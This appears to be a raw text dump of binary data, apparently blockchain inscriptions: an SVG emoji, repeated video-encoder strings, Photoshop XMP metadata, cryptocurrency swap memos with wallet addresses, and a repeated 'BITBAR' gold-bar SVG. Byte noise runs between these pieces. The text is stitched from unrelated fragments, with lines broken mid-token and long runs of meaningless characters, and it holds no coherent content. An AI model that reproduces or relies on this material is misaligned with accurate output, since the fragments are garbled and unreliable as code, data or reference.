    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M45.8012,27.4384c-1.2547-3.3541-6.3873-3.5687-6.0658,1.3178c0.0428,0.6485,0.2787,1.2724,0.6361,1.8135l5.2737,6.4224l0,0 l5.1777-6.266c0.5747-0.6964,0.9147-1.5779,0.8974-2.4853c-0.0856-4.3523-5.0089-4.0351-6.0763-0.8036"/>
text/plain;charset=utf-8
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
      <path fill="#fcea2b" d="M62.622,40.338c.96,3.25-1.109,5.983-4.435,5.392.443,3.249-2.735,6.13-6.579,4.283,1.478,3.766-1.997,5.908-4.731,4.283,1.403,1.6985-.813,7.46-9.387,1.994l-1.6426-.9033L16.5088,44.7522,15.05,43.95s-7.133-5.822-8.537-8.259c-4.392-7.595.9489-19.79,10.44-21.82l7.9426-1.4243,5.2391,7.9469,13.0738,6.0043L56,33.58l3.6854,3.7675Z"/>
h fill="#fcea2b" d="M62.622,40.338c6.721-4.585,5.041-19.03-.0988-25.36-9.287-1.459-11-2.362-20.98-3.943l-13.53-.6185a3.9934,3.9934,0,0,0-4.779,2.533,32.8568,32.8568,0,0,1-3.599,8.378,3.5387,3.5387,0,0,0,1.872,4.588c1.908.4767,2.78-.386,4.46-1.686a25.9541,25.9541,0,0,0,3.805-4.575l13.64,6.204,12.72,7.164c2.514,1.698,5.012,5.844,6.51,7.321"/>
      <path fill="#fcea2b" d="M31.51,54.15a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101A3.27,3.27,0,0,1,29.7,57.2424l1.81-3.094Z"/>
ill="#fcea2b" d="M25.84,50.98a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094Z"/>
      <path fill="#fcea2b" d="M20.18,47.82a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094Z"/>
      <path fill="#fcea2b" d="M14.53,44.65a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094Z"/>
 fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.05,43.95s-7.133-5.822-8.537-8.259c-4.392-7.595.9489-19.79,10.44-21.82"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M38.71,42.99,51.6,50.011"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M33.87,47.79l13,6.498"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-M
width="2" d="M58.18,45.72l-5.1-4.358-8.279-4.335"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M37.49,56.29c8.574,5.466,10.79-.2955,9.387-1.994,2.734,1.625,6.209-.517,4.731-4.283,3.844,1.847,7.022-1.034,6.579-4.283,3.326.591,5.395-2.142,4.435-5.392,6.721-4.585,5.041-19.03-.0988-25.36-9.287-1.459-11-2.362-20.98-3.943l-13.53-.6185a3.9934,3.9934,0,0,0-4.779,2.533,32.8568,32.8568,0,0,1-3.599,8.378,3.5387,3.5387,0,0,0,1.872,4.588c1.908.4767,2.78-.386,4.46-1.686M
a25.9541,25.9541,0,0,0,3.805-4.575l13.64,6.204,12.72,7.164c2.514,1.698,5.012,5.844,6.51,7.321"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M31.51,54.15a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101A3.27,3.27,0,0,1,29.7,57.2424l1.81-3.094Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M25.84,50.98a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774M
,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M20.18,47.82a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14.53,44.65a3.0218,3.0218,0,0,1,4.144-.9c1.405.8125,2.439,2.362,1.478,4.063l-1.774,3.101a3.27,3.27,0,0,1-5.658-3.1713l1.81-3.094
59.37.100 libvpx-vp9g
59.37.100 libvpx-vp9g
x264 - core 164 r3100 ed0f7a6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramiM
d=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=240 keyint_min=24 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=48.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00
HandBrake 1.6.1 2023012300h!
x264 - core 164 r3100 ed0f7a6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramiM
d=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=240 keyint_min=24 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=48.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00
HandBrake 1.6.1 2023012300h!
x264 - core 164 r3100 ed0f7a6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramiM
d=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=240 keyint_min=24 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=48.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00
HandBrake 1.6.1 2023012300h!
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rM
df-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T08:1M
5:35+07:00" xmp:MetadataDate="2023-02-13T15:07:51+07:00" xmp:ModifyDate="2023-02-13T15:07:51+07:00" dc:format="image/png" xmpMM:InstanceID="xmp.iid:191461b1-e9fe-e94d-89a3-6c20b7ebe2f3" xmpMM:DocumentID="xmp.did:c86b4c59-3d94-2f49-aabd-a620defac3bd" xmpMM:OriginalDocumentID="xmp.did:c86b4c59-3d94-2f49-aabd-a620defac3bd" photoshop:ColorMode="3" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" exif:ColorSpace="65535" exif:PixelXDimension="1600" exif:PixelYM
Dimension="2240"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c86b4c59-3d94-2f49-aabd-a620defac3bd" stEvt:when="2023-02-11T08:15:35+07:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:5ecabfc8-febe-ab4f-b877-7bc2950bcc54" stEvt:when="2023-02-11T08:36:25+07:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6ee0ed48-9f85-2945-9146-d33M
9a2b2a3a7" stEvt:when="2023-02-13T14:35:10+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:191461b1-e9fe-e94d-89a3-6c20b7ebe2f3" stEvt:when="2023-02-13T15:07:51+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6M
ee0ed48-9f85-2945-9146-d339a2b2a3a7" stRef:documentID="xmp.did:c86b4c59-3d94-2f49-aabd-a620defac3bd" stRef:originalDocumentID="xmp.did:c86b4c59-3d94-2f49-aabd-a620defac3bd"/> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>483D69E317A687B0A64C0A81603B2255</rdf:li> <rdf:li>702B50AF5E4009AF96E20072651B338A</rdf:li> <rdf:li>7ADC795B7F183517EEF3FB135CD11BFE</rdf:li> <rdf:li>89B32A2DF0C7B97199A4295986432670</rdf:li> <rdf:li>9F8CE64323E473C529AD84CC91383251</rdf:li> <rdf:li>B0D01E7AB03517C9B36EFAAEF14E9DC1</rdf:li> <rdf:M
li>DE54AEBEC4A33CA417807874DE6911DF</rdf:li> <rdf:li>adobe:docid:photoshop:bac6a32e-ee76-c74d-913e-d03f8a4ba89d</rdf:li> <rdf:li>xmp.did:c86b4c59-3d94-2f49-aabd-a620defac3bd</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
PLTE@>SEReEAR9.+A?R?
>3/<1.0(&JESLERFUhHCRRISVKSDASNGSHXk
		OC@C85p[R%*3SFCw_R
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe PhotoshM
op 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:47:15+04:00" xmp:MetadataDate="2023-02-11T13:47:15+04:00" xmp:ModifyDate="2023-02-11T13:47:15+04:00" xmpMM:InstanceID="xmp.iid:940f029e-78d4-e44e-a3cb-051b0f0c4b05" xmpMM:DocumentID="adobe:docid:photoshop:adb18cc7-289e-2b49-a7d7-93e978c234ef" xmpMM:OriginalDocumentID="xmp.did:f0d9c2ef-04e9-314e-9a2c-4a8ed5674bdb" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f0d9c2ef-04e9-314e-9a2c-4M
a8ed5674bdb" stEvt:when="2023-02-11T13:47:15+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:940f029e-78d4-e44e-a3cb-051b0f0c4b05" stEvt:when="2023-02-11T13:47:15+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>
2023-02-13T21:43:32+00:00
2023-02-13T21:43:32+00:00
2023-02-13T21:43:33+00:00
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
text/plain;charset=utf-8
c/Foundry USA Pool #dropgold/
CjA=:ETH.ETH:0xa20E2DB4A31Cf70Fb9D79994854f9f8734633f72:237323960::0
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
Aj?=:BNB.BNB:bnb1h6t4h80fnjlpfscpp57xn6t96spvnve2ueyuhr:36165:te:0
)))---666===WWWccc```QQQ:::jjjAAAfffKKKZZZ222
((((((((((((((((((((((((((((((((((((((((((((((((((
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:F8743C2CA9AD11EDBBA7C88B155ADF7D" xmpMM:DocumentID="xmp.did:F8743C2DA9AD11EDBBA7C88B155ADF7D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F8743C2AA9AD11EDBBA7C88B155ADF7D" stRef:documentID="xmp.did:F8743C2BA9AD11EDBBA7C88B155ADF7D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
FjDOUT:483E851CB8DBE4875B6FEDB80E30B31667DCA2A5343D3A1D2BCA37262CC15874
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
